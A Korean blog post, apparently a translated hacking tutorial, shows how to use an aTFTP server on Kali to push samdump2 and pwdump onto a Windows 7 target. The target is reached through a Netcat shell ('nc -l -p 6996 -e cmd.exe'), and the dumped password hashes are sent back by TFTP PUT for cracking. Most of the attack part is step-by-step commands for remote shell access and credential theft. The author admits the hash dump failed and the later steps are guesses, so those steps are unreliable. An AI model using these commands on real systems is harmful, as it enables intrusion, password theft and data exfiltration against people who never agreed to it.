# 본 게시글의 내용을 악의적인 목적으로 사용시 그에 대한 법적책임을
포함한 모든 책임은 전적으로 당사자에게 있으며, 작성자는 어떠한 책임도
지지 않음을 알려드립니다.
# 이 글을 열람하는 것은 위 사항에 동의한 것으로 간주합니다.
메타스플로잇으로 타겟시스템의 메터프리터를 얻어내는 것은 항상 성공하지만은 않기 때문에
다양한 방법을 통해 타겟시스템에 커맨드쉘을 얻어낼 필요가 있다.
대표적으로 Netcat이나 Cryptcat을 통해 타겟시스템의 커맨드쉘에 연결을 할 수 있다.
각각의 경우에 타겟시스템을 장악하고, 컨트롤하기 위해 우리는 추가적인 소프트웨어를 업로드해야 하며,
이것은 TFTP를 통해 업로드가 가능하다.
TFTP 동작방식
TFTP는 69번 포트를 사용하는 UDP/IP 프로토콜이다. 컴퓨터간 인증과정없이 파일을 업로드(GET), 다운로드(PUT)하는데 사용된다. Client/Server 구조로 동작한다. Kali 시스템에 TFTP서버를 설치, 사용한다면 커맨드라인을 통해 타겟시스템에 해킹소프트웨어를 업로드할 수 있다.
예를 들면, 패스워드 해시파일을 가로채고 크랙하길 원한다면, 이 튜토리얼처럼 타겟시스템에 samdump2와 pwdump를 업로드해야 한다. 패스워드 해시를 가로챈 후, 칼리리눅스에 패스워드 해시파일을 다운로드하기 위해 TFTP를 사용할 수 있다. 또한 칼리리눅스로 다운로드한 패스워드 해시파일을 크랙하여 패스워드를 알아낼 수 있을 것이다.
잠깐 Tip. TFTP에 대해 알아보고 가자.
TFTP란?
Trivial File Transfer Protocol로 FTP와 마찬가지로 파일을 전송하기 위한 프로토콜이며,
FTP보다 더 단순한 방식으로 파일을 전송한다.
FTP Vs TFTP
FTP | TFTP |
TCP기반 | UDP기반 |
20,21번 포트 사용 | 69번 포트 사용 |
로그인 절차가 있다. | 로그인 절차가 없다. |
파일디렉토리를 볼 수 있다.(DIR) | 파일디렉토리를 볼 수 없다. |
TFTP Client는 어떤 시스템에 있는가?
거의 모든 OS에 TFTP Client가 설치되어있지만, 항상 활성화되어있진 않다. 윈도우XP와 그 이전 OS에서는 TFTP Client는 기본적으로 활성화되어있다. 윈도우 비스타와 그 이후 OS에서는 TFTP를 제어판을 통해 활성화해야 한다. 시스템 관리자는 관리적인 목적으로 TFTP Client를 자주 활성화하고, 그대로 남겨둔다.
유닉스/리눅스는 기본적으로 활성화되어있다. 많은 네트워크 스위치와 라우터도 새로운 설정파일을 업로드, 다운로드하기 위해 활성화되어있다. 우리가 TFTP 서버를 가지고 있다면 타겟시스템에 소프트웨어를 업로드, 다운로드할 수 있다.
칼리리눅스는 advanced TFTP(aTFTP) 서버가 기본적으로 설치되어있다.
우리는 타겟머신에 소프트웨어를 업로드, 다운로드하기 위해 그것을 사용할 수 있다.
타겟에 소프트웨어를 설치하기 위해 TFTP 사용하기
이 튜토리얼에서는, TFTP 클라이언트가 활성화되어 있는 윈도우 7(원문에서는 윈도우 서버 2003이 타겟임)에 패스워드 크랙킹 소프트웨어를 업로드할 것이다. 타겟에 패스워드 크랙킹 소프트웨어를 업로드하면, 패스워드 해시를 가로챌 수 있고, 그것을 다운로드하여 크랙할 수 있다.
윈도우 7에서 TFTP 클라이언트 활성화 방법을 짚어보고 가자.
잠깐 Tip. 윈도우 7 TFTP 클라이언트 활성화하기
아래 사이트에 잘 나와있다.
원문과 같이 윈도우 서버 2003으로 재현을 해보려했으나, 윈도우 서버 2003에서 TFTP 클라이언트를 활성화하는 방법을 찾을 수가 없었다. 혹시 이 포스팅을 읽는 분 중 윈도우 서버 2003에서 TFTP 클라이언트를 활성화하는 방법을 알고계신 분이 있으시면 댓글로 좀 알려주시면 감사감사~^^
어쨋든, 나는 윈도우 7에 테스트하는 걸로 대신하겠다.
타겟시스템인 윈도우 7에 TFTP 클라이언트가 정상적으로 활성화되었는지는 커맨드창에서 tftp 명령을 쳐서 아래 그림과 같이 나오면 정상으로 판단한다.
<재현환경>
구분 | OS | IP address |
공격자(Attacker) | Kali Linux 2.0 | 192.168.0.51 |
희생자(Victim) | Windows 7 Professional | 192.168.0.54 |
Step 1: 칼리 실행 & 터미널 열기
칼리리눅스를 실행하고, 터미널을 열자.
Step 2: TFTP 서버를 실행하고, TFTP 디렉토리를 만들어라.
첫번째 단계는 aTFTP(atftpd) 서버를 실행하는 것이다.
Kali > service atftpd start
그리고나서, 악의적인 소프트웨어를 업로드할 디렉토리를 만들어라.
Kali > mkdir /tftpboot
Step 3: 설정파일 수정
다음은, atftpd 설정파일을 수정해야 한다. Text Editor로 그것을 열 수 있지만, 여기서는
Leafpad를 사용하겠다.
Kali > leafpad /etc/default/atftpd
위 그림과 같이 수정하고, 저장해라.
새로운 설정을 적용시키기 위해 aTFTP 서버를 재시작해야 한다.
Kali > /etc/init.d/atftpd restart
Step 4: 멀웨어를 복사하라.
다음은, /tftpboot 디렉토리에 멀웨어를 복사해야한다.
먼저, 멀웨어가 있는 디렉토리로 이동해라. find 명령을 통해 파일을 찾아보자.
/usr/bin에 있다.
Kali > cd /usr/bin
그 후 /tftpboot 디렉토리에 그것들을 복사해라.
Kali > cp samdump2 /tftpboot
Kali > cp pwdump /tftpboot
Step 5: 타겟에 연결해라.
멀웨어를 업로드하길 원한다면, 타겟머신에 연결해야 한다.
메타스플로잇이나 다른 방법으로 커맨드쉘을 얻어야 한다.
여기서는 Netcat을 사용할 것이다.
먼저, 타겟시스템에 Netcat 리스너가 실행중이어야 한다. 그래야 칼리에서 타겟으로 연결할 수 있다. 윈도우7에서 아래 명령어로 Netcat 연결 시 커맨드창이 뜨게 해놓는다.
넷캣의 간단한 사용법은 아래 블로그를 참고하면 된다.
(Netcat 사용법 : http://idkwim.tistory.com/58)
Windows 7 > nc -l -p 6996 -e cmd.exe
위 그림과 같이 6996번 포트로 Listening중임을 알 수 있다.
칼리에서 타겟시스템에 연결을 해보자.
Kali > nc 192.168.0.54 6996
알다시피, 타겟시스템에 Netcat 리스너에 의해 제공된 커맨드쉘을 통해 아래 그림과 같이 윈도우 머신에 연결된다.
Step 6: 타겟에 멀웨어 이동하기
aTFTP 서버의 설정 완료 및 /tftpboot 디렉토리에 의도한 소프트웨어를 넣었고, Netcat을 통해 타겟시스템에 연결했다. 이제 윈도우 시스템에 멀웨어를 업로드 할 수 있다.
칼리리눅스에 연결된 윈도우 시스템의 커맨드쉘에서 다음 명령어를 통해 업로드가 가능하다.
C:\>tftp -i 192.168.0.51 GET samdump2
C:\>tftp -i 192.168.0.51 GET pwdump
dir 명령어를 통해 윈도우 시스템에 정상적으로 멀웨어가 업로드 된 것을 확인할 수 있다.
Step 7: 패스워드 해시파일 다운로드
타겟시스템에 pwdump와 samdump2를 업로드했으면, 이제 해시파일을 가로챌 수 있다.
원문에서는 어떤 설명도 없지만 내 생각에는 우선 업로드한 pwdump와 samdump2 프로그램을 통해 윈도우의 해시파일의 dump파일을 저장해야 할 것으로 보인다.
칼리에서 가져온 samdump2와 pwdump가 실행파일이 아니라, 우선 실행파일로 바꿔줘야 할 것 같다.
C:\>copy samdump2 samdump2.exe
C:\>copy pwdump pwdump.exe
해시파일 덤프를 위해 Netcat으로 붙은 커맨드쉘(칼리)에서 아래 명령어를 실행한다.
C:\>samdump2.exe > samdump_hash.txt
C:\>pwdump.exe > pwdump_hash.txt
내 경우에는 윈도우 시스템에 로그온된 계정이 일반사용자 계정이라 그런지 SAM파일에 접근하지 못했다. (Access Denied!!) 만약 관리자권한을 얻어낸다면 패스워드 해시파일을 위의 명령어대로 samdump_hash.txt나 pwdump_hash.txt 파일로 dump를 떠서 아래 나온 방법대로 가능할 것으로 판단된다. (그렇겠지............??)
C:\>tftp -i 192.168.0.51 PUT pwdump_hash.txt
이 명령어는 칼리리눅스의 /tftpboot 디렉토리로 pwdump_hash.txt 파일을 보낼 것이다.
그러면, 칼리리눅스에서 Hashcat이나 John the Ripper 프로그램을 이용하여 패스워드 해시를 크랙할 수 있을 것이다. <끝>
'HOW TO HACK > Basics' 카테고리의 다른 글
해커라면 알아야 할 리눅스 기초-9 : 파일 내용 조회, 출력 (0) | 2016.04.15 |
---|---|
[Metasploit] POST 공격을 위한 유용한 메터프리터 Script (1) | 2016.04.14 |
해커라면 알아야 할 리눅스 기초-8 : 환경변수 조회, 추가, 수정 (0) | 2016.04.14 |
해커라면 알아야 할 리눅스 기초-7 : 프로세스 관리 (0) | 2016.04.14 |
해커라면 알아야 할 리눅스 기초-6 : 파일, 디렉토리 권한 조회 및 변경 (1) | 2016.04.14 |